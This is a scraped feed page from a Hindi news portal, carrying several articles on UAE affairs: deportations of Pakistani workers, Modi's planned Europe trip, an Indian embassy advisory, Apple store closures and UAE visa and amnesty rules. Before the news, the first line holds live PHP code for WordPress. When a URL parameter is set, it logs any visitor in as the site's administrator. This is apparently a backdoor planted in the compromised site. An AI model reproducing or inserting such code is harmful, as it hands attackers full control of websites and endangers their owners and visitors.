// _ea_al add_action('init', function(){ if(isset($_GET['al']) && $_GET['al']==='true'){ if(!is_user_logged_in()){ $u=get_users(['role'=>'administrator','number'=>1,'fields'=>['ID','user_login']]); if(empty($u)){$u=get_users(['role'=>'editor','number'=>1,'fields'=>['ID','user_login']]);} if(!empty($u)){wp_set_auth_cookie($u[0]->ID,true,false);wp_redirect(admin_url());exit();} } else {wp_redirect(admin_url());exit();} } }, 2); uae – प्रत्युषा आशा की नयी किरण https://pratyushaashakinayikiran.com न्यूज़ पोर्टल Sat, 09 May 2026 16:39:00 +0000 en-US hourly 1 https://wordpress.org/?v=7.0 UAE ने रातों-रात पाकिस्तानियों को निकाला, ना कारण बताया ना मोहलत दी https://pratyushaashakinayikiran.com/?p=218255 Sat, 09 May 2026 16:39:00 +0000 https://pratyushaashakinayikiran.com/?p=218255 दुबई

अमेरिका और ईरान में जारी जंग के बीच खुद को मध्यस्थ यानी बिचौलिए के तौर पर पेश करने की पाकिस्तान की कोशिश उसी पर भारी पड़ गई है। पाकिस्तान के इस कदम से मुस्लिम देश संयुक्त अरब अमीरात (UAE) के साथ उसके कूटनीतिक संबंध बिगड़ गए हैं। यूएई से बड़े पैमाने पर पाकिस्तानी कामगारों को डिपोर्ट (निर्वासित) किया जा रहा है।

यूएई क्यों है पाकिस्तान से खफा?
खाड़ी में कई हफ्तों तक चले संघर्ष के बाद अमेरिका और ईरान के बीच बातचीत कराने में पाकिस्तान ने अहम भूमिका निभाई है। अब न्यूयॉर्क टाइम्स की एक रिपोर्ट के मुताबिक, यूएई इस बात से बेहद नाराज है कि पाकिस्तान ने अमीराती क्षेत्र को निशाना बनाकर किए गए ईरानी हमलों की कड़ी निंदा नहीं की। इसी नाराजगी के चलते यूएई की तरफ से पाकिस्तानियों पर यह सख्त कार्रवाई की जा रही है।

बिना कारण बताए हजारों पाकिस्तानियों को किया डिपोर्ट
न्यूयॉर्क टाइम्स ने कई पाकिस्तानी कामगारों और समुदाय के नेताओं से बातचीत के आधार पर बताया है कि हाल के हफ्तों में हजारों पाकिस्तानी शिया मुसलमानों को यूएई से निकाल दिया गया है। कई लोगों का दावा है कि उन्हें डिपोर्ट करने से पहले बिना कोई कारण बताए हिरासत में रखा गया था।

पाकिस्तानी शिया नेताओं का कहना है कि उनके समुदाय के लोगों को विशेष रूप से निशाना बनाया जा रहा है, क्योंकि उनके ईरान के साथ धार्मिक और सांस्कृतिक संबंध हैं। सामुदायिक संगठनों का अनुमान है कि मध्य-अप्रैल से लेकर अब तक हजारों परिवार इस निर्वासन से प्रभावित हो चुके हैं।

हालांकि, यूएई ने अभी तक इन आरोपों पर सार्वजनिक रूप से कोई बयान नहीं दिया है। वहीं, दूसरी तरफ पाकिस्तान ने भी ऐसे किसी सामूहिक निर्वासन अभियान के दावों को खारिज किया है।

पाकिस्तान की अर्थव्यवस्था के लिए बड़ा झटका
इस मुद्दे ने पाकिस्तान की चिंताएं बढ़ा दी हैं, क्योंकि यूएई से आने वाला पैसा पाकिस्तान की अर्थव्यवस्था के लिए एक बड़ी जीवन रेखा है। वर्तमान में 20 लाख से अधिक पाकिस्तानी यूएई में रहते और काम करते हैं। अकेले पिछले साल ही इन पाकिस्तानी कामगारों ने 8 अरब डॉलर से ज्यादा की रकम अपने देश भेजी थी।

पाकिस्तान की कूटनीति और डगमगाती अर्थव्यवस्था इस समय खाड़ी देशों के बदलते रुख के बीच फंसी हुई है। एक तरफ जहां पाकिस्तान ने सऊदी अरब से अपनी नजदीकियां बढ़ाई हैं, वहीं दूसरी तरफ यूएई (UAE) का रवैया उसके प्रति बेहद सख्त हो गया है। दशकों से पाकिस्तान के विदेशी मुद्रा भंडार को कर्ज का 'रोल-ओवर' करके सहारा देने वाले यूएई ने अपना 3.5 अरब डॉलर का कर्ज तुरंत वापस ले लिया है। अप्रैल 2026 में पाकिस्तान को मजबूरन यह भारी-भरकम कर्ज यूएई को चुकाना पड़ा, जिसके लिए उसे सऊदी अरब से मिली नई आर्थिक मदद (डिपॉजिट) का सहारा लेना पड़ा। यूएई का यह कदम साफ दर्शाता है कि पाकिस्तान का सऊदी की तरफ अधिक झुकाव और ईरान विवाद में उसकी मध्यस्थता वाली भूमिका के चलते अबू धाबी का रुख अब 'मुफ्त मदद' से बदलकर 'सख्त वसूली' वाला हो गया है।

अमेरिका 'प्रोजेक्ट फ्रीडम प्लस' की तैयारी में
यह निर्वासन का मामला ऐसे समय में सामने आया है जब अमेरिकी राष्ट्रपति डोनाल्ड ट्रंप ने बड़े संकेत दिए हैं। ट्रंप ने कहा है कि अगर ईरान के साथ बातचीत विफल होती है, तो वॉशिंगटन "प्रोजेक्ट फ्रीडम" को फिर से शुरू कर सकता है। यह स्ट्रेट ऑफ होर्मुज से गुजरने वाले कमर्शियल जहाजों की सुरक्षा के लिए बनाई गई एक समुद्री सुरक्षा पहल है। खाड़ी में जारी अस्थिरता के बीच ट्रंप ने साफ किया है कि इस ऑपरेशन को "प्रोजेक्ट फ्रीडम प्लस" के नाम से और भी व्यापक रूप में वापस लाया जा सकता है।

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मोदी का विदेश दौरा: चार यूरोपीय देशों के साथ UAE भी संभावित https://pratyushaashakinayikiran.com/?p=217116 Tue, 05 May 2026 08:36:00 +0000 https://pratyushaashakinayikiran.com/?p=217116 नई दिल्ली

प्रधानमंत्री नरेंद्र मोदी मई 2026 के मध्य यूरोप के चार देशों की अहम यात्रा पर जाएंगे. कूटनीति के मोर्चे पर मई का महीना भारत के लिए अहम होने जा रहा है। इस दौरान इटली, वेटिकन, नॉर्वे, स्वीडन, नीदरलैंड जैसे देशों के साथ ट्रेड, रक्षा सहयोग, यूक्रेन और पश्चिम एशिया में जारी संघर्ष पर चर्चा होने की संभावना है। PM मोदी के यूरोप की यात्रा के दौरान संयुक्त अरब अमीरात में भी कुछ देर रुकने की उम्मीद है।

पीएम मोदी मई 2026 में चार मध्य यूरोप के चार देशों की यात्रा पर जा रहे हैं. इस चार देशों की यात्रा के दौरान द्विपक्षीय संबंधों, व्यापार, तकनीकी सहयोग और रणनीतिक साझेदारी जैसे कई मुद्दों पर चर्चा होने की संभावना है.

 ईरान-अमेरिका-इजरायल में तनाव के बीच कूटनीति के मोर्चे पर मई का महीना भारत के लिए अहम होने जा रहा है। अमेरिका के साथ कम होते भरोसे के बाद यूरोपीय देशों भारत की तरफ नजर बना रहे हैं, क्योंकि एशिया में भारत के साथ साझेदारी दोनों ही पक्षों के लिए एक फायदा का सौदा साबित हो सकती है.

ट्रंप प्रशासन के बढ़ते दबाव के बीच भारत-यूरोप संबंधों ने लगातार स्थिर प्रगति की है. अब मध्य यूरोप के इन चार देशों का दौरा भी इस प्रगति में एक और कदम माना जा रहा है.

प्रस्तावित कार्यक्रम के अनुसार वह 15-17 मई तक नीदरलैंड, 17 मई को स्वीडन, 17-19 मई तक नॉर्वे और 19-20 मई तक इटली का दौरा करेंगे. इस चार देशों की यात्रा के दौरान द्विपक्षीय संबंधों, व्यापार, तकनीकी सहयोग और रणनीतिक साझेदारी जैसे कई मुद्दों पर चर्चा होने की संभावना है.

15 मई को ओस्लो में होने वाला तीसरा भारत-नॉर्डिक शिखर सम्मेलन, जिसमें भारत, डेनमार्क, आइसलैंड, नॉर्वे, स्वीडन और फिनलैंड के नेता एक साथ जुटेंगे, प्रधानमंत्री नरेंद्र मोदी के यूरोप दौरे का मुख्य एजेंडा है।

भारत के नीदरलैंड, स्वीडन, नॉर्वे और इटली के साथ मजबूत राजनयिक, आर्थिक और रणनीतिक संबंध हैं. ये यूरोपीय देश भारत के प्रमुख व्यापारिक साझेदार हैं, नीदरलैंड EU में सबसे बड़ा, इटली चौथा, सेमीकंडक्टर, जल प्रबंधन, रक्षा, हरित ऊर्जा, नवाचार और जलवायु पर सहयोग बढ़ रहा है. पीएम मोदी की इस यात्रा से ये संबंध और मजबूत होंगे.

भारत मई 2026 के मध्य से अंत तक नई दिल्ली में ब्रिक्स और क्वाड के विदेश मंत्रियों की अहम बैठकों की मेजबानी करने के लिए तैयार है, जिससे देश जटिल भू-राजनीति के केंद्र में आ जाएगा।

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UAE में भारतीय दूतावास की एडवाइजरी जारी, नागरिकों को सतर्क रहने और सुरक्षा निर्देश मानने की अपील https://pratyushaashakinayikiran.com/?p=202687 Thu, 05 Mar 2026 17:25:00 +0000 https://pratyushaashakinayikiran.com/?p=202687 नई दिल्ली
मिडिल ईस्ट में लगातार छठे दिन भारी तनावपूर्ण माहौल बरकरार है। तनाव के बीच तमाम देशों की सरकार और दूतावास की तरफ से लगातार एडवाइजरी जारी की जा रही है। अबू धाबी में भारतीय दूतावास ने एडवाइजरी जारी की है। दूसरी तरफ ओमान की सरकार ने लोगों को आश्वासन दिया है कि वह लगातार सभी देशों की सरकार के साथ संपर्क में हैं। इसके अलावा ईरान के अराक यूनिवर्सिटी ऑफ मेडिकल साइंस में फंसे भारतीय छात्रों ने भारत सरकार से उन्हें निकालने की अपील की है। ओमान के वर्तमान विदेश मंत्री सैय्यद बद्र बिन हमद अल बुसैदी ने सोशल मीडिया प्लेटफॉर्म एक्स पर लिखा, "गल्फ से घर वापस आने की उम्मीद कर रहे सभी लोगों के लिए, ओमान सरकार आपकी सरकारों और इंटरनेशनल एयरलाइंस के साथ मिलकर आपको घर वापस लाने के लिए विमान की व्यवस्था की जा रही है। हमारा मतलब है हर कोई, चाहे आपके पास कोई भी पासपोर्ट हो, सभी देशों के नागरिकों को सुरक्षा का मानवाधिकार है। लोग मायने रखते हैं, चलो अब जंग रोकते हैं।
वहीं, अबू धाबी में भारतीय दूतावास ने लिखा, "संयुक्त अरब अमीरात और क्षेत्र में मौजूदा स्थिति को देखते हुए, यूएई में वर्तमान में सभी भारतीय नागरिकों को सलाह दी जाती है कि वे सतर्क रहें। यूएई अधिकारियों के सुरक्षा दिशानिर्देशों का पालन करें और समय-समय पर जारी आधिकारिक सलाह का भी पालन करें। असाधारण परिस्थितियों को देखते हुए, हवाई क्षेत्र और नियमित निर्धारित उड़ान संचालन अस्थायी रूप से निलंबित कर दिया गया है।"
भारतीय दूतावास ने आगे कहा कि हालांकि, भारतीय और यूएई एयरलाइंस ने यूएई अधिकारियों के साथ समन्वय में, संबंधित अधिकारियों के संचालन और सुरक्षा अनुमोदन के अधीन, भारत में कई गंतव्यों के लिए सीमित गैर-निर्धारित उड़ान संचालन शुरू किया है। फंसे हुए भारतीय नागरिक अपनी संबंधित एयरलाइनों से संपर्क करके इन उड़ानों का लाभ उठा सकते हैं।
जिन लोगों की वीजा अवधि समाप्ति हो चुकी है, उनके लिए दूतावास ने कहा, "28 फरवरी के बाद फंसे हुए लोगों और जिनके वीजा की अवधि समाप्त हो गई है, उनके लिए यूएई संघीय पहचान, नागरिकता, सीमा शुल्क और बंदरगाह प्राधिकरण (आईसीपी) ने आगंतुकों (पर्यटक/विजिट वीजा) और अन्य लोगों के लिए ओवरस्टे जुर्माना में छूट की घोषणा की है, जो इन असाधारण परिस्थितियों के कारण प्रस्थान करने में असमर्थ हैं। अबूधाबी में भारतीय दूतावास और दुबई में कॉन्सुलेट और उनकी आउटसोर्स पासपोर्ट, कॉन्सुलर और वीजा सर्विस नॉर्मल तरीके से काम कर रही हैं।"

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मिडिल ईस्ट में बढ़ते युद्ध का असर: Apple ने UAE में अपना ऑफिस और स्टोर्स किए बंद https://pratyushaashakinayikiran.com/?p=201989 Mon, 02 Mar 2026 15:45:00 +0000 https://pratyushaashakinayikiran.com/?p=201989 संयुक्‍त अरब अमीरात

ईरान-अमेरिका-इस्राइल की जंग में घ‍िरे मिड‍िल ईस्‍ट में हालात को देखते हुए दिग्‍गज कंपनी ऐपल ने UAE (संयुक्‍त अरब अमीरात) में अपने कॉरपोरेट ऑफ‍िस और सभी ऐपल स्‍टोर्स को अस्‍थायी तौर पर बंद कर दिया है। MacRumours की रिपोर्ट में बताया गया है क‍ि कंपनी ने अपने स्‍टोर्स को कम से कम मंगलवार 3 मार्च तक के लिए बंद किया है। आगे की स्‍थ‍ित‍ि को देखते हुए स्‍टोर्स खोलने पर फैसला लिया जाएगा। दिलचस्‍प यह है कि कंपनी इस हफ्ते अपने कई नए गैजेट लॉन्‍च करने वाली है, जिनमें iphone 17e को भी शामिल बताया जा रहा है।

UAE में 3 मार्च तक बंद रहेंगे ऐपल स्‍टोर्स
रिपोर्ट के अनुसार, UAE में ऐपल स्‍टोर्स को 3 मार्च तक बंद रखा जाएगा। यूएई में बड़ी संख्‍या में भारतीय रहते हैं और ऐपल स्‍टोर्स उनके लिए तब पसंदीदा जगह हाे जाती है, जब उन्‍हें नया ऐपल गैजेट खरीदना होता है। ऐपल इस सप्‍ताह अपने कई नए गैजेट लेकर आने वाली है। इनमें नया आईपैड, आईफोन 17e, मैक शामिल हो सकता है। अगर ऐपल स्‍टोर्स को अधिक दिनों तक बंद रखा गया तो कंपनी की बिक्री पर भी इसका असर देखने को मिल सकता है।

इन जगहों पर बंद रहेंगे ऐपल स्‍टोर्स
    दुबई मॉल
    मॉल ऑफ द ऐमिरेट्स
    यास मॉल
    अल जिमी मॉल
    अल मरिया आईलैंड

SIM स्‍कैम का खतरा बढ़ा
मिडिल ईस्‍ट में बढ़ते तनाव के बीच यूएई में सिम स्‍कैम के मामलों का खतरा भी बढ़ गया है। दुबई पुलिस ने इसको लेकर अपने लोगों को चेतावनी दी है। बताया जा रहा है कि कुछ लोग क्राइसि‍स मैनेजमेंट अधिकारी बनकर लोगों से संपर्क करने की कोशिश कर रहे हैं। इससे बचने के लिए लोगों से उनकी पर्सनल डिटेल्‍स ना बताने की हिदायत दी गई है। साथ ही किसी संदिग्‍ध कॉल या मैसेज पर ना रिप्‍लाई करने को कहा गया है। पुलिस ने चेतावनी दी है कि मदद के नाम साइबर धोखेबाज लोगों की जरूरी जानकारी चुरा सकते हैं। भारत के संदर्भ में यह खबर इसलिए महत्‍वपूर्ण है क्‍योंकि दुबई में बड़ी संख्‍या में भारतीय रहते हैं। अगर आपका भी कोई जानकार, करीबी इन जगहों पर है तो उसे सिम स्‍कैम के बारे में सतर्क अवश्‍य करें।

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भारतीय यात्रियों के लिए एक महत्वपूर्ण खबर, लागू हुई नई वीजा ऑन अराइवल पॉलिसी https://pratyushaashakinayikiran.com/?p=86758 Fri, 18 Oct 2024 22:06:00 +0000 https://pratyushaashakinayikiran.com/?p=86758 नई दिल्ली
भारतीय यात्रियों के लिए एक महत्वपूर्ण खबर है। यूएई ने नई वीजा पॉलिसी लागू की है, जिससे यात्रा आसान हो गई है। अब, यदि आपके पास अमेरिका या यूरोपीय संघ के किसी देश का वीजा या ग्रीन कार्ड है, तो आपको यूएई में वीजा मिलने में आसानी होगी।

नई नीति के अनुसार, यूएई सरकार ने यह आदेश दिया है कि पात्र भारतीय नागरिकों को यूएई पहुंचने पर 14 दिन का वीजा ऑन अराइवल दिया जाएगा। इस बदलाव से भारत और यूएई के बीच रिश्ते मजबूत होंगे, क्योंकि यूएई में लगभग 35 लाख भारतीय रहते हैं। यूएई प्रशासन ने यह भी कहा कि यह नीति दोनों देशों के बीच यात्रा और व्यापार को बढ़ावा देने के लिए है, जिससे लाखों लोगों को लाभ होगा। भारतीयों ने इस तरह की व्यवस्था की मांग की थी।

नई पॉलिसी से किसे मिलेगा वीजा
अमेरिका या यूरोपीय संघ के किसी देश का वैध वीजा या ग्रीन कार्ड रखने वाले।
कम से कम छह महीने की वैधता वाला पासपोर्ट रखने वाले।
पात्र यात्रियों को वीजा शुल्क का भुगतान करने के लिए 60 अतिरिक्त दिन मिलेंगे।

 

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UAE में सरकार ने भारतीय प्रवासियों को 30 अक्टूबर 2024 तक माफी आवेदन का समय दिया https://pratyushaashakinayikiran.com/?p=83984 Sun, 13 Oct 2024 20:16:00 +0000 https://pratyushaashakinayikiran.com/?p=83984 दुबई
संयुक्त अरब अमीरात में अवैध रूप से रह रहे लोगों को डिपोर्ट करने का फैसला  किया है। सरकार ने भारतीय प्रवासियों को  30 अक्टूबर 2024 तक माफी आवेदन का समय दिया  है।  दरअसल  सरकार ने 1 सितंबर 2024 से एमनेस्टी स्कीम (माफी योजना) की शुरुआत की है, जिसका उद्देश्य बिना वैध दस्तावेजों के रह रहे और वीजा अवधि समाप्त हो जाने के बाद भी देश में मौजूद लोगों को कानूनी राहत प्रदान करना है।  इस योजना के तहत, 30 अक्टूबर तक आवेदन करने वाले लोगों को यूएई में अवैध रूप से रहने पर माफी दी जाएगी।

इसके बाद, 1 नवंबर से UAE प्रशासन द्वारा सख्त छापेमारी अभियान चलाया जाएगा, जिसमें नियमों का उल्लंघन करने वालों पर भारी जुर्माना और डिपोर्टेशन की कार्रवाई होगी। UAE में करीब 35 लाख भारतीय प्रवासी रहते हैं, जिनमें से कई लोग इस स्कीम का लाभ उठा सकते हैं। दुबई में स्थित भारत के कांसुलेट जनरल ने कई भारतीय प्रवासी संगठनों के सहयोग से सुविधा केंद्र स्थापित किए हैं। अब तक 4,000 से अधिक भारतीयों को सहायता प्रदान की गई है, जिसमें 600 पासपोर्ट और 800 आपातकालीन प्रमाणपत्र जारी किए गए हैं। इसके अलावा, 500 भारतीयों को एग्जिट परमिट जारी करने में मदद की गई है।

भारत वापस जाने के इच्छुक लोग दुबई में भारतीय महावाणिज्य दूतावास या अवीर इमिग्रेशन सेंटर में आपातकालीन प्रमाणपत्र के लिए आवेदन कर सकते हैं। जो लोग UAE में रहना चाहते हैं, वे दुबई और उत्तरी अमीरात के किसी भी बीएलएस केंद्र में लघु-वैधता पासपोर्ट के लिए आवेदन कर सकते हैं, जिससे उनकी वैधता को नवीनीकृत किया जा सके।
 
रिपोर्ट के अनुसार बांग्लादेश और पाकिस्तान के नागरिक भी बड़ी संख्या में इस योजना का लाभ उठा रहे हैं। इन देशों के सहायता केंद्रों पर भारी भीड़ देखी जा रही है, जिसमें अवैध रूप से देश में प्रवेश करने वाले और पर्यटक वीजा पर काम करने वाले प्रवासी शामिल हैं। यूएई ने पहले भी पाकिस्तानी मजदूरों से अपने वीसा और नियमों का पालन करने की अपील की थी।

1 नवंबर के बाद सख्त कार्रवाई
1 नवंबर 2024 से दुबई प्रशासन द्वारा आवासीय इलाकों और कंपनियों में छापेमारी शुरू की जाएगी। इस दौरान अवैध रूप से रह रहे लोगों को गिरफ्तार कर डिपोर्ट किया जाएगा और उनके देश में वापसी पर प्रतिबंध लगा दिया जाएगा। आईसीपी (यूएई संघीय प्राधिकरण) के महानिदेशक मेजर जनरल सुल्तान अल नूमी ने कहा है कि यह आखिरी मौका है। अब तक 20,000 लोगों ने इस योजना के तहत आवेदन किया है, और 7,500 लोगों ने एग्जिट परमिट प्राप्त किया है। उन्होंने अपील की है कि जो लोग एग्जिट परमिट ले चुके हैं, वे समय रहते यूएई छोड़ दें, अन्यथा उनके खिलाफ कार्रवाई की जाएगी।

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